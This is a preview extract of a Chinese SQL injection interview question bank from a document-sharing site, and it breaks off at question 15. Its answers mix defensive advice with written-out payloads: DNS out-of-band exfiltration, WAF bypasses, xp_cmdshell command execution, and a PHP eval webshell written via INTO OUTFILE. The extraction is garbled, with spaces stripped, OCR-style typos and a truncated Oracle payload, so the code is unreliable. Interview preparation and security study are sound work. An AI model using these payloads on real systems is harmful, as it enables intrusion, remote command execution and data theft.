网络安全面试SQL注入相关面试题_第1页
网络安全面试SQL注入相关面试题_第2页
网络安全面试SQL注入相关面试题_第3页
网络安全面试SQL注入相关面试题_第4页
网络安全面试SQL注入相关面试题_第5页
全文预览已结束

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

SQL注入相关面试题请解释二次注入攻击流程,并说明如何防御此类攻击攻击流程:恶意数据经"安全"存储后,在其他业务场景被取出并拼接SQL语句。例如用户注册时提交admin'#,在密码修改功能中触发UPDATEusersSETpassword='hacked'WHEREusername='admin'#'防御方案:对数据库读取数据二次校验、全链路参数化查询、禁用动态SQL拼接2.当目标过滤SLEEPO)和BENCHMARKO)时,如何构造可靠时间注Payload?使用重型联表查询:AND(SELECTCOUNT(*)FROMinformationschema.tablesA,B,C)条件性复杂运算:ANDIF(ASCII(SUBSTR(@@version,1,1))>50,EXP(1000),1)DNS外带延时:ANDLOADFILE(CONCAT('\\',(SELECTMID(@@version,1,180)),'.\test'))3.如何通过Oracle数据库实现DNS外带数据?写出完整PayloadSELECTEXTRACTVALUE(xmltype('<?xmlversion="1.0"?><!DOCTYPErOOt[<!ENTITY%remoteSYSTEM"http://'|(SELECTSYS_CONTEXT('USERENV','CURRENT原理:利用XML外部实体注入(XXE)发起HTTP请求,通过DNS日志捕获查询结果。4.如何绕过检测UNIONSELECT模式的WAF?给出三种技术方案注释混淆:UNI/**/ONSEL/***/ECT1,version()空白符变异:UNION%ObSELECT%a0@@version字符编码:UNIONSELECTCHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)5.在MSSQL环境中如何通过堆叠查询实现命令执行?;EXECspconfigure'showadvancedoptions',1;RECONFIGURE;EXECspconfigurexpcmdshel1',1;RECONFIGURE;EXECxp_cmdshell'whoami';--需sa权限,配合CLR集成可实现复杂攻击为什么参数化查询仍可能发生SQL注入?举例说明案例:动态拼接表名Stringquery=“SELECT*FROM“+tableName+"WHEREid=?"攻击者通过控制tableName注入恶意语句。防御需严格校验动态元素,使用白名单机制。7.详述基于时间的育注原理及常用函数原理:通过条件语句触发数据库响应延迟,如IF(ASCII(SUBSTR(@@version,1,1))>50,SLEEP(5),)。函数包括:MySQL:SLEEP(),BENCHMARK()MSSQL:WAITFORDELAY'0:0:5PostgreSQL:pg_sleep(5)。8.解释UDF提权原理及必要条件原理:通过自定义函数加载恶意DLL执行系统命令。条件:·MySQL用户具有FILE权限secure_filepriv为空已知网站绝对路径.SQL注入写shell需要哪些条件?写出MySQL利用语句条件:DBA权限、绝对路径、可写目录、secure_file_priv为空。Payload:id=1'UNIONSELECT1,2,'<?php@eval($PoT[cmd]);?>"INTOOUTFILE'/var/www/html/shell.php'10.如何防御SQL注入攻击?列举五种核心措施1.预编译语句(PreparedStatements)2.输入白名单验证(正则表达式过滤)3.最小权限原则(限制数据库账户权限)4.启用Web应用防火墙(WAF)5.错误信息屏蔽(禁止详细报错)11.解释宽字节注入原理及防御方案原理:GBK等编码导致转义符·被吞并,如%df%27一運’。防御:统一使用UTF-8编码、禁用mysqlsetcharset(gbk')12.如何利用DNS协议外带SQLite数据库数据?ATTACHDATABASE'\\'||(SELECThex(sql)FROMsqlite_masterLIMIT1)|'.\test'As通过DNS解析日志获取hex编码的数据库结构。13.描述基于错误的注入攻击流程1.构造非法查询触发报错:'AND1=convert(int,@@version)--2.分析错误信息获取数据库版本3.利用版本特性构造后续攻击链。如何检测和防御SQLMap等自动化工具攻击?检测:监控异常请求频率(如高频UNIONSELECT)、非常规HTTP方法。防御:实施人机验证(CAPTCHA)设置请求速率限制混淆错误响应模式。15.解释NoSQL注入与传统SQL注入的差异及防御差异:NOSQL使用操作符(

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论